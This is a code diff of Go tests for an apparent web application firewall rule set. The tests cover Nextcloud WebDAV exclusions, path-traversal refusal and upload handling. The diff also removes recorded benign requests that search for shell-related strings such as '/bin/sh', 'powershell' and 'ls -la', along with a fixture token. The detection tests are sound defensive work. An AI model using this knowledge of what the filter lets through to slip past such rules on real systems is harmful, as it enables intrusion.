@@ -521,12 +452,7 @@ func TestNextcloudSentencesPassInTheTexts(t *testing.T) {
document := "Backup steps:\n\n" + nextcloudCodeBlock document := "Backup steps:\n\n" + nextcloudCodeBlock
request, score := nextcloudBodyScore( request, score := nextcloudBodyScore(t, readingBodies(t), nextcloudDocument, document)
t,
readingBodies(t),
nextcloudDocument,
document,
)
if score >= nextcloudThreshold { if score >= nextcloudThreshold {
t.Errorf("%s refused: %d", request, score) t.Errorf("%s refused: %d", request, score)
} }
@@ -573,10 +499,7 @@ func TestNextcloudAccountCookieSkipsTheFourRules(t *testing.T) {
crs := atDefaults(t) crs := atDefaults(t)
cookie := func(value string) request { cookie := func(value string) request {
return get( return get("/apps/files/", "Cookie: nc_sameSiteCookielax=true; nc_username="+value)
"/apps/files/",
"Cookie: nc_sameSiteCookielax=true; nc_username="+value,
)
} }
for _, value := range hardValues { for _, value := range hardValues {
@@ -633,40 +556,20 @@ func TestNextcloudWebDAVMethodsAreAllowedOnlyThere(t *testing.T) {
// MKCALENDAR only where the calendars are. // MKCALENDAR only where the calendars are.
for _, target := range []string{nextcloudCalendars, nextcloudCalendars + "work/"} { for _, target := range []string{nextcloudCalendars, nextcloudCalendars + "work/"} {
wantResult( wantResult(t, crs, request{nextcloudMkcalendar, target, nil}, matched())
t,
crs,
request{nextcloudMkcalendar, target, nil},
matched(),
)
} }
for _, target := range []string{ for _, target := range []string{
nextcloudFiles, nextcloudAddressBooks, "/remote.php/dav/", nextcloudFiles, nextcloudAddressBooks, "/remote.php/dav/",
"/x/remote.php/dav/calendars/", "/x/remote.php/dav/calendars/",
} { } {
wantResult( wantResult(t, crs, request{nextcloudMkcalendar, target, nil}, matched(911100))
t,
crs,
request{nextcloudMkcalendar, target, nil},
matched(911100),
)
} }
// PROPFIND, and no other WebDAV method, where a client asks for them. // PROPFIND, and no other WebDAV method, where a client asks for them.
for _, target := range []string{"/.well-known/caldav", "/.well-known/carddav"} { for _, target := range []string{"/.well-known/caldav", "/.well-known/carddav"} {
wantResult( wantResult(t, crs, request{nextcloudPropFind, target, nil}, matched())
t, wantResult(t, crs, request{nextcloudMkcol, target, nil}, matched(911100))
crs,
request{nextcloudPropFind, target, nil},
matched(),
)
wantResult(
t,
crs,
request{nextcloudMkcol, target, nil},
matched(911100),
)
} }
other := request{nextcloudPropFind, "/.well-known/other", nil} other := request{nextcloudPropFind, "/.well-known/other", nil}
@@ -700,12 +603,7 @@ func TestNextcloudDescriptionsPassAndAttacksAreRefused(t *testing.T) {
} { } {
sent := described.sent sent := described.sent
request, score := nextcloudBodyScore( request, score := nextcloudBodyScore(t, crs, sent, described.description)
t,
crs,
sent,
described.description,
)
if score >= nextcloudThreshold { if score >= nextcloudThreshold {
t.Errorf("%s refused: %d", request, score) t.Errorf("%s refused: %d", request, score)
} }
@@ -727,12 +625,7 @@ func TestNextcloudDescriptionsPassAndAttacksAreRefused(t *testing.T) {
// An MKCOL on the calendars' paths skips only the rules for names. // An MKCOL on the calendars' paths skips only the rules for names.
sent.method, sent.target = nextcloudMkcol, nextcloudCalendars+"work/" sent.method, sent.target = nextcloudMkcol, nextcloudCalendars+"work/"
request, score = nextcloudBodyScore( request, score = nextcloudBodyScore(t, crs, sent, described.description)
t,
crs,
sent,
described.description,
)
if score < nextcloudThreshold { if score < nextcloudThreshold {
t.Errorf("%s let through: %d", request, score) t.Errorf("%s let through: %d", request, score)
} }
@@ -768,10 +661,7 @@ func TestNextcloudChangedEventsAndContactsPass(t *testing.T) {
[]string{"Content-Type: text/plain; charset=UTF-8; charset=UTF-8"}, []string{"Content-Type: text/plain; charset=UTF-8; charset=UTF-8"},
}, },
} { } {
if got := inspect(t, crs, refused); !slices.Contains( if got := inspect(t, crs, refused); !slices.Contains(got.RuleIDs, 920530) {
got.RuleIDs,
920530,
) {
t.Errorf("%s %s %q let through: %+v", t.Errorf("%s %s %q let through: %+v",
refused.method, refused.target, refused.headers, got) refused.method, refused.target, refused.headers, got)
} }
@@ -812,12 +702,7 @@ func TestNextcloudUploadsAreNotReadAsFields(t *testing.T) {
} { } {
got, _ := inspectBody(t, crs, refused, upload.body) got, _ := inspectBody(t, crs, refused, upload.body)
if got.Score < nextcloudThreshold { if got.Score < nextcloudThreshold {
t.Errorf( t.Errorf("%s %s let through: %+v", refused.method, refused.target, got)
"%s %s let through: %+v",
refused.method,
refused.target,
got,
)
} }
} }
} }
@@ -828,13 +713,7 @@ func TestNextcloudPathTraversalIsRefusedInWebDAVPaths(t *testing.T) {
crs := atDefaults(t) crs := atDefaults(t)
methods := []string{ methods := []string{http.MethodGet, http.MethodPut, nextcloudPropFind, "MOVE", "LOCK"}
http.MethodGet,
http.MethodPut,
nextcloudPropFind,
"MOVE",
"LOCK",
}
for _, method := range methods { for _, method := range methods {
for _, target := range []string{ for _, target := range []string{
@@ -922,13 +801,7 @@ func TestNextcloudExclusionsAreNarrow(t *testing.T) {
got, _ := inspectBody(t, crs, r, sent.body) got, _ := inspectBody(t, crs, r, sent.body)
if got.Score < nextcloudThreshold { if got.Score < nextcloudThreshold {
t.Errorf( t.Errorf("%s %s %s let through: %+v", sent.method, sent.target, sent.body, got)
"%s %s %s let through: %+v",
sent.method,
sent.target,
sent.body,
got,
)
} }
} }
} }
+4 -7
View File
@@ -125,14 +125,11 @@ func wantRecordedRequestsPass(t *testing.T, name string) {
t.Errorf("%s %s refused: %+v", r.method, r.target, got) t.Errorf("%s %s refused: %+v", r.method, r.target, got)
} }
typed := slices.ContainsFunc( typed := slices.ContainsFunc(recorded.Headers, func(header string) bool {
recorded.Headers, name, _, _ := strings.Cut(header, ":")
func(header string) bool {
name, _, _ := strings.Cut(header, ":")
return strings.EqualFold(name, "Content-Type") return strings.EqualFold(name, "Content-Type")
}, })
)
if recorded.Body == "" && !typed { if recorded.Body == "" && !typed {
return return
} }
-209
View File
@@ -190,215 +190,6 @@
{"method": "GET", "target": "/alice/tools/commits/branch/main/search?q=release%20notes&all=true", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""} {"method": "GET", "target": "/alice/tools/commits/branch/main/search?q=release%20notes&all=true", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/-/packages?q=release%20notes", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""} {"method": "GET", "target": "/alice/-/packages?q=release%20notes", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/wiki/search?q=release%20notes", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""} {"method": "GET", "target": "/alice/tools/wiki/search?q=release%20notes", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=python3&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=python3&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/releases?q=python3", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/api/v1/repos/alice/tools/releases?q=python3", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
{"method": "GET", "target": "/api/v1/repos/alice/tools/actions/jobs/1/logs?q=python3", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=powershell&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=powershell&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/releases?q=powershell", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/api/v1/repos/alice/tools/releases?q=powershell", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
{"method": "GET", "target": "/api/v1/repos/alice/tools/actions/jobs/1/logs?q=powershell", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=ls%20-la&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=ls%20-la&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/releases?q=ls%20-la", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/api/v1/repos/alice/tools/releases?q=ls%20-la", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
{"method": "GET", "target": "/api/v1/repos/alice/tools/actions/jobs/1/logs?q=ls%20-la", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=.htaccess&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=.htaccess&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/releases?q=.htaccess", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/api/v1/repos/alice/tools/releases?q=.htaccess", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
{"method": "GET", "target": "/api/v1/repos/alice/tools/actions/jobs/1/logs?q=.htaccess", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=docker-compose.yml&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=docker-compose.yml&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/releases?q=docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/api/v1/repos/alice/tools/releases?q=docker-compose.yml", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
{"method": "GET", "target": "/api/v1/repos/alice/tools/actions/jobs/1/logs?q=docker-compose.yml", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=install-script.sh&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=install-script.sh&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/releases?q=install-script.sh", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/api/v1/repos/alice/tools/releases?q=install-script.sh", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
{"method": "GET", "target": "/api/v1/repos/alice/tools/actions/jobs/1/logs?q=install-script.sh", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=release%20notes&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=release%20notes&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/releases?q=release%20notes", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/api/v1/repos/alice/tools/releases?q=release%20notes", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
{"method": "GET", "target": "/api/v1/repos/alice/tools/actions/jobs/1/logs?q=release%20notes", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=%2Fbin%2Fsh&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/branch/feat/docker-support?path=&q=%2Fbin%2Fsh&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=%2Fbin%2Fsh&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/releases?q=%2Fbin%2Fsh", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/api/v1/repos/alice/tools/releases?q=%2Fbin%2Fsh", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
{"method": "GET", "target": "/alice/tools/branches?q=%2Fbin%2Fsh", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/-/packages?q=%2Fbin%2Fsh", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=package.json&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/assets/css/repo-branch-tag-selector.d9ca1da2.css", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=package.json&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
